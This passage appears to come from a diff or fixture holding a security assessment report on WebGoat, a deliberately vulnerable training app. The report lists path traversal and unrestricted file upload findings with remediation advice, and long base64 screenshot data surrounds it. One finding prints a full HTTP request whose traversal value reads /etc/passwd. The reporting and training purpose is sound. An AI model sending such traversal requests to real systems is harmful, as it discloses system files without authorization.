1Ovy3dtmeGesjN7cGZ3KjX2LxN2Kj3pG2dlmvj/pz9t3o3wXnPW17pv/PKu47D09i+14C24RTNGzUwTuzzvHZDptIvIyGiPJ9RjhFB4orhkZ20c9muGac1KDOXinFdCZW5dNlXfGTiQ5HbEUDzenPSpwV20jkurmuqJ2Tf9RfO+pc6XXF+sy7nQmQrN9UTDPMZpm4e33vSCbzJxDYJpycT0sj0RGtq7yozqHq2lRijIaLGkaZAFKfDN0m+1Q9RvE7B3m0bqY/RgJlZsC7PdPuV+kfV4RHPmdzqsS4KrdMBBw1dsVa1hNP6Jc+XyfvigBx3reVe7pntYrLPduwg8DVBLYIJ/VCHM9dO/UpLRo46pNrJGj6wzbz7wyxHfu4OSt22SB0D0AlTFQd3CFQqcOq2BVnJXbO9HgmqHcydWN27VQPVhm/sV8ORjO5VXq9WotM4M4IdTe/qwch+0GgQuAjwskdCO5Lpg5w51Ny5TYh+nQW5ZXZzzw7M2hc9qsO2Eg0nj10lVirDBO3zxQTJWbUeleEO3ZuTlVfld4/E0PUH5W6z/bAqj1UvdW74cbv2kW1m6lTZc8Z8VUZYthC4GoCW4TTcWD8vDDHP85QydbNvqjO4VW5yWhjVAefm3MmZqLB1rJ1heOn6hFxiuJRuY16SjEYPT/rpypg28E1yl3loER2xC3yq/qefvmnc7NenRV5o37ofTn7Vuur+szZsz+rR2ed6nEVx9XDkP0g4BLYJpzcALCDwFMJKOF0Nq+n+z+b/9vW765n5YPalWyvzvvK3NjrOwkgnL6z7mQNAQhAYBuB7LZy26Y4hsBFBBBOF4FmGwhAAAIQgAAEnk8A4fT8GpIBBCAAAQhAAAIXEdginGa/01a/rHoRE7Z5EIHZXrtbim4eym71O6T2UxzPrv/xv8KHipPnEIAABFwCCCeX1AfsRn/1dQyS6FkW5mgAqd9FcIdW5LuPJ8tpBrEb34zvK9e4eSg79bya01l/Z9dX48UeAhCAwG4CCKfdhCf9RwNn9k94R4Il86UE1UgQuT9zRZaD7g2D2c3BsXNsHK6rbnpWxuPGjR0EIACBnQS2Cads8EbPRoM8s63eyLS+jr1m41Tr2qIpsaOen/HVDkC1T0XQKF+jwduucdZHjT+q42Gr6hIJyH7dKj9Z7dqYZ+36fBSbEadI3PT1mmXS5+a8t1GvZPntPCjxDQEIQOD/z88dKCpDMTsgnWHSD+hsbxWXO9grfvrh6IgTNRzUAIu4nYlb3Sb1MUcCpSoWnH0zgeXsV+Gyqr+iuEaCU4lQV1i7/e3s5/qascveaVWrHecZPiEAAQj8ds7uwKEOt0gYuIfscbCOBMRogDvDc6UAcwZ5xv3McHaHaMukIsQqua3Ko5JT1ltO3ynRsDqnkZAeMR7t64rwUf8776jL3WXi2iGcdpzK+IQABFYR2PZVXXTouoena6cEj3v4Kz8VUVcRF+6QdMVfn28mJPu9nUFcya1nVhG17j5uXTKBUhERs33p1NnNeVRjpz/OsJrNe3bPaJ2q1aqDET8QgAAEwjN5B5q7HLIVMVSxVYd3JkAccTLLr8/BEUbRwK3+XOU189wRG6sH84jhij2U34rAz+rq9o5rVxVk2XtU2RPhtONkxicEILCCwOU3TsfB2t4+ZIfzyC7z0T+rDKTRwX7sf9ZPZX2Wg/MsVMl//o8uj4ZuJGr6G6KZHDIBpm6ksjye3hfuDVhkN5u/EkLZfqr+7rsysnPPBfWhZcWhiA8IQAACGYEtwgnkEIBATiATTplA2c3Vjetb4tidJ/4hAIHnEUA4Pa9mRAyBVxKIbtFemSxJQQACjyWAcHps6QgcAhCAAAQgAIGrCSCcribOfo8isOurq11+7whX5er+vpebm9pP+Tm7/sf/Ch8qTp5DAAKfIYBwuoi7+gXsURjRL9FmIVf3mfl6ZGbNGcxRTodP9UvsZ36h2BmAjk2f/8yaMww/uVblqp5XYz/r7+z6arzYQwACzyKAcLqgXu5fG7WhzBze1X1mBMXMmrOIHeEUsXOYRPG5NXDtWqF3lslT1jtsHBs33xW+Vvhw48UOAhB4HoFtwim6lchuB37wzazLhrlzGxHd7CiRoJ4f+bT/PxqerS91cGdCQsWU7VNZq4RKxjQSM1ntsxsbVf+ev8ozq1Efe9RfUS5RL1SZ3P1dWcFwVLeMa9Xe7TdVy9Hz/j1TcT9vdBAxBL6XwBbh5Ayy0cF6p3WjAZcJISWO1LCuHLSznKoCQsV8VQ3PxH3kUBGMqpYr4pkR0G4Os/0xu069K1GuVQaqHyvP3Vxdu6wnVFzfO37IHALPJHA74ZR9go9uOTJBM3vwZeXsfY5sncNyNleHQ2+jPhVHwy/ba0Y4zeasRINzezASUVGdR/Wbjb1SL5Vny3w2nojD6nclYtgzd/dV71Tl+Yo9V/h45tggagh8N4HbCafKIBsNpFWH5wrh1A+2THC5A3M0dK7YJxNWbuxu/qO93D2yoewKp1GcZ2LPblzc4ZvdaFSEyFUfMhQvt54zdhHvGV8r6qPOpO8eQWQPgecRuLVwcg+6HYMpEgrZ8FXD4qwozPKceaYOdEdAVHzMDqH+lkUJBXXDU4n57BDOhMoZgbiCpeJYef8UU0fQjli7MVR71eXn2mXCtsrmeWOEiCHwXQS2CKfjEDluQvpB1t6QjA7UaF02EDOhE+2nDrSzz514I7GlGLkirK3FaM3MPmqN+1wJnKg31MBXfivDMOpdFVvPQInqN70r1Z5uWVVqc9hm+zm94Lzno/r051wk8pT/7xo5ZAuB5xPYJpwqg30nxmxg7dz3W30/nfeu+Gf8zqw503er9lvlx83l6v3ucra5fLCDAATWEkA4reX59d7uMsTeUIirWV6931tqFN1GvSE/coAABP5N4HLhRBEgAAEIQAACEIDAUwkgnJ5aOeKGAAQgAAEIQOByAo8XTny9cHnPlDbcVZ9dfo/kdvsvQfyfsYpJ/QJ6dU+1n/J3dv2P/xU+VJw8hwAEIFAhgHCq0EpsRwd8+9dClW2qvmb2uer3MnYNvl1+3yqcKv23isHuGs3kxBoIQAACZwkgnM4S/N+nYvUnx+4QGQmazLfaN0rvycLJZTlb2t3+Z+JyYnJs3L1X+Frhw40XOwhAAAJXEdgmnKJbkPbnK25WzvprQSsREsX746O6dpWv6r59rKP12Q1W9dnK+oxuQpz8MzGqhGrrf/d/HvVRdPszqkPGuo89q+OoR6p1j96JSLBHsVfjvurgZB8IQOB7CWwTTpEgUYOuui7zp/aqiBcljmZEoJvrsbca8irGWeGR3Vplg13Fc6Y+at9RzKMh3Nu5/bRDREXCSXFyWETxqhqp5zO8HPE+06vfe4yTOQQgcCWBbcLJ+QSpPpVmh707LNSNhxqwjmhQwyUaiE4Orm91g+CKNDWk3bo6ufW+RuJTCZuWjxKvZ/rpWNv//9H+szaVXstEvxIdTo2jftkhelaIrysPTfaCAAS+m8AW4eQehLOH8Oyh7pbaHeDZ4FfDqc9hpa8sz9E+7m1Epa6ucHJrkonPkVBRgtMRHitFUSS8VK9lz49aVllX61ixj3ppt49KH2ELAQhA4AyBxwonZ1gq8ZINT3ewOkNLDXF1q6LyiGJw990hnHbUR4mICsdKfR3+V9pEHxxcceLaOb3t+nLtsg9TDuMzhyFrIQABCDgEtgin4/BrbzfaQ3j0c+d55C8aJH0clcHqig4lWvpbgcz+jK9IVDjDphdOd6zP7M1Mm4srEKt94vbKTC1GL3FUnyjXTIy0z2Z7KIunfzez90G93w4/59DDBgIQgMAZAtuEUxSUGoBnkmHteQJ3rc/uuHb7n6nM1TFdvR9nxExXsAYCEPg0AYTTpytws/3vMjxvhoVwNhPIbjk3b417CEAAAiUClwunUnQYQwACEIAABCAAgRsRuL1w2nEDssPnjWq6PJSD125uO/xXfFZsl0P+0+EM590x7/a/guOOGO/mU8WTPVdrRzWYWdP6Obv+x9cKHyv6Cx8Q6Al8hXD65C+Vjl7+7Jdp22eVg6Oyz3EoHXup1yIa6LOxRvtV8nV9VHxWbBWzmeffLpxm+c+uy2q0wufKc0fFo55X+/Gsv7Prq/FiD4ErCSCcNtIeCZPsMJ09bM7uo/YdDfRIqJ3BqeJwfJ8ZViv2d2JUos+Nw7WbjWm3/399ivtVP452xbjC75lerN7erIj32HOFrxU+ZvuWdRDYTaB+UpkRtbcR/SEwGvTRLcjo8KkIhTaOVgBE8R1xZAeXcyCOxIbyrQ6bTKyomNrnFVs15NWn9ifUOuuFaJhU+jLr14iPMzirNa3GMZPj6B2L3v8+/r4Oqk+j9ynK8wm9OHqfnDqMzrlR72Z2M/bZOT9z7kc97cRtjibMIHCawBbhpARA9II6h0Y0ULJDVh3A6nl7QGfixclLxZkNcbV29Am+Miyqnzidoe8wcfZ1RYKqpetnxNLtPUdszbJzfI8ERRZ7tad7/6uYZ3HMxOiI/uisys4wt4cqXKKaKR9OP7jxRkLU7ftM9Oz0cXoK4gACRQLbhFN2II3EQTbgo08u7oGgDp8ZoeccytlhmAmkqpBYeeAV++cvc0ec9bVyB2HUKzMHcXXgR3uM/ET5tPFn/VrlPiMyHJbZIHZzyd63yrOWc6VfRiyz2Cu++16v5KPOoSju0fnX27pxqBgqz1fsucJH9d3BHgJnCWwRTu3h64obZ437klUH5Grh1B/Smf8zz7J9Zlmdaain1VoNCVc4Ob2rBl2Fe9Qzx89VXkrAOUKiwsbti4oYVO+Nu6dTu9l3qVIHRzRlAsqN0bXLBHT1WWXPqG6KZeX9wRYCZwlsFU5VATN6Id0DcPbl7GMc/Xv1k282VGYHThSXc4hV6+AISTVc3YNu5qBcVWs3RrdHKpwdxm5tVb9VeKn+V++oYlWNxY0nE6ZunT/Zi4qbElYuV9fO6T3Xl2uXvT9uDc8ORNZDwCGwRTj9NPnxz+hAGz2P1oxemMxWPXMOKPWSqufOIIsGp2IXFTUSMk4dsqGTNVEbq9q/H0qjuD5V64x5X8tK7x695uSqOEeDzK1dVKtqLzu5qEGpelzFNPvuVGr3qV5UdVbnm6pPxDZjmp1nM+d2ZSY4As4ZdNhAYCWBLcJpZYD4ggAE/iEQDbhVjO7oXwmpVbnfyc/uOriC+2omV+d9dX7s9w4CCKd31JEsIPAIAtXBWLV/BASC/I2Ae+MLNgjchQDC6S6VIA4IQAACEIAABG5PAOF0+xIRIAQgAAEIQAACdyFwa+HU/0LxWWir/Z2N5+7rd39Nstv/iK/7S7B3r001PsU6e67WVji7cc/s2fte4cONFzsIQOB7CNxaOLVlWHEIXiWc1F/kVHIZ2bp/WVPZZ8fwU6/R2fiU/0pOn4hlJv7ZNSo/9by671l/Z9dX48UeAhCAgEsA4eSSMu0OUZOZu0Nh5KvyF0buPhWBYWKQZmdik84Tg0iInvF597UOa8fGzXOFrxU+3HixgwAEIFAhsEU4tTcixwEY3ZL8BJvdoBzJ9LdFzprDd+SjBaUEiXre7pUd+u7gbrlV4hzlWv1Zxq1/5tTPFYC93aiPehaRUHX7Y5Rrv9bt3b5HVd1cLpWcHRE8yidj7b571XfV6Z3Wp1PrqAaqlyqHJrYQgMB3E9gmnNTQiLBnB18kANyB5dr1+zhiJ/OdsYiEiBI70RBR63ru1dxG8Ub5ZYNOMalycWurBHDleWZ79bOoLiqf6jul/FWeu4xcu0zwq7i+ewyQPQQgUCFwC+EUfRp0RFR2WFYOUkfIuTYjMaIEhzPAlJjIRFOpKf78b36PBFYktKJbjNG+oyFWFXArhqnDc8c+fb9XRF/15mQ1ayVAKs9dtq5d5X2P3tHKe4ItBCDwnQQ+LpzcQ7EyXLIbkKq4cA7Y0SB0hEAkKmYHazU3R9T0Ps8MRiUej7wdEen2TWWYVoXUihgigTpi4PRi1PujfWbeqUrOiqfry7Wr1LrK8jvHA1lDAALDObkDy5nhGh3mM4f82YP02LMqglbYO+JBDSY1lHevr3LI6rXjmRPfiqG9I3andkoczLxTFR4qRteXa3f2fd9xFuITAhB4H4GP3zgdh117y6I+bTvCrOJPHfDOc/VJPxti1Wej3CKhVYmrMmh7v4r3iGEbc3/blPWFWtevHTGIcnV6y8ldxa9qGD1X61QfOH5nhMoZnlHtI86jDwSq/1Rd33e0kxEEILCLwBbhtCtY/O4loITT2d2r/qv2lfh2+N7hs5KTEsmzvpx1d8n9LnE4zLCBAASeSQDh9My6fUXUTxuCT4v3LU2U3cK9JUfygAAE7kMA4XSfWhAJBCAAAQhAAAI3J4BwunmBrg5v963Jbv8jXu7v31zNevd+inX1d+tUvGq/3et//J+NQcXIcwhAAAIIpxM90H5FMPoF19mDfHT4q68jov2r6e0ePLv9I5z+IaBYq+dX987qeKrxYw8BCEDAIYBwcigFNuoT+4yYcf/CqA1p1cBZ5SdCutt/Zd9PxXKi3UpLnfwcG3fTFb5W+HDjxQ4CEIDALIFtwml0Q9Lf0Bw3MpFY6H1kty7ufpng6A/u6r+fve049qvsq4ZNdHulYnViyESeKwB7u1GP9DWLBGnUH4pBpS/7nm19n2V25Dnyk+Wsahm9ZxnrPq/s3Tv8t/FX39XeR3Y2uDVQvTR7aLIOAhD4bgJbhFM0zJ3Bkg2PSPSs2K/fVw3b7PDOxJmTX7R3JEbUkOpb3M3NySMammrPmZpl/TP7LBrYbq+5wmk2vso74/SW+8HBzWsXvxW8FLvvPvrJHgIQmCWwTTidHc7q0Bt9Ip4d1mqdC9fJeeSrkutIqLgCJ8sji10JuWzIZsPc4eUO8NlBu2vwR4JyJHJV7NWbk5G/M6zP9GelX1fXWsXtvtfYQQACEPhtzu7E0d+QqIPMPThHw+74WcVHlHt0G6JYOcMpEk79cHTzUExVzBHL9udqDyWcMp6VHlECIxKQ1fhW7KMEQyZ2VbxVAdyK15m+qvBQQtT15dplnFXfOu8GNhCAAAR6AltunJwBduaAdYa98p+JL/WsHUTZAHTj/FdRfv1eltkhMptHNSc16JUQnRnmSphEPh1xO8v76nVOj2e95cbr2jnvhevLtUM4MdQgAIGrCWwRTu3tifvJujIIR7b9zcVhE8XiDB3nE2uWa/vM8RUNnj6X0TAc5e8Ip4qo6Ws5yt3N0+VWzTXqg4qIVTmoujq5ZXmN9nfqG9XSiWdGqGT7qfc+q1P7HmR5q/5Tdbz6sGU/CEDgHQS2CKe7oFGi4C5xfjKO3Yyq/qv2FXY7fO/wWckpEyizftx1d8n9LnG43LCDAASeTQDh9Oz6vS76pw3Bp8X7loaJbtHekh95QAAC9yXwauF0X+xEBgEIQAACEIDAEwk8UjjxKf+erXamLmfWKhrKt3qu/M88v2rPM/uotdlztXbEbGbN6q8qz8Yw0wusgQAEnkXg8cJp90E38u98TVCNq7JPu3/0y7N9G/ZrdrRpm8OK/FfFqGJRz1fFsXrIO3HtrMlqbmf9nV3v8MQGAhCAAMIp6YGRKOkP50zwuO1V3ac6IKIY3fhcu9khXc3HjefHzvHt2FT2VLZX7rezJivzWOFrhQ9VO55DAAIQ2CacRrcyo1uP7PYmenYckNEtihI36nk7cJVt9NwVK20u2Y1EZQCqmJ3bqCvqcsSR5TbKpReafT8ojqP1K/Jt8+n3WBHTihgjdqOe6GOucOtrmsXeC9zovVZ8nV4Z+Yj6T8XB+IAABL6TwBbhFH3yUwPdHaBKRGSixRE0bhyjA38kBqKfOXmMBrA60KMc71yXWUZHDap1VUImOg5GgqDiS70DDoes7872ZL9+9O9OjLPvkNo/4+fuucLHd44LsoYABP46o3ZgiD5tq6Exc/BFYmCUl2OrYmwHdZuns27HgM0GW8RAxeoOluqQdmqi9nYEUjbYnfWjGFqxqsRxJmwj3z2bSo0UsyxetyZVbu67rITSKpHoxuPa7Tg38QkBCDyDwBbh1B7UlYPItc3sMuyucOoHX7bueDZao9Zl+6jBmYkwp/Vc1qsGlzOgnSHaClclYCIOreBVe7qixBEnTj9koi+quRuj2/+rubnxObm7vly7ivh3+DnvHjYQgMCzCWwVTpWhW7FVwin7dOx8cnZFiRqEfWtU7GcPfiUERsNJiTRXZFXr4tQiYlbdK6vFLOtq/Grwupx3viurYnRzOcsw2mdFTdV78eyjn+ghAIFZAluE0/GJXh08zvPDVyZmehvH7xlxNIrJEUkV4dTerETDJYpD2Z/lU6mvO9j6eoz2qOw7eiFm17frlGCL6pYJQLfHnXfAqW21Jhk3h2kUU8ZkZa6V9yGrb/b+zh7ArIMABJ5HYItweh4GIr6awM4htNP3LKc7xuSI/dl8nXV3YXKXOBxm2EAAAp8n8H8xFjVj0EmWLwAAAABJRU5ErkJggg==</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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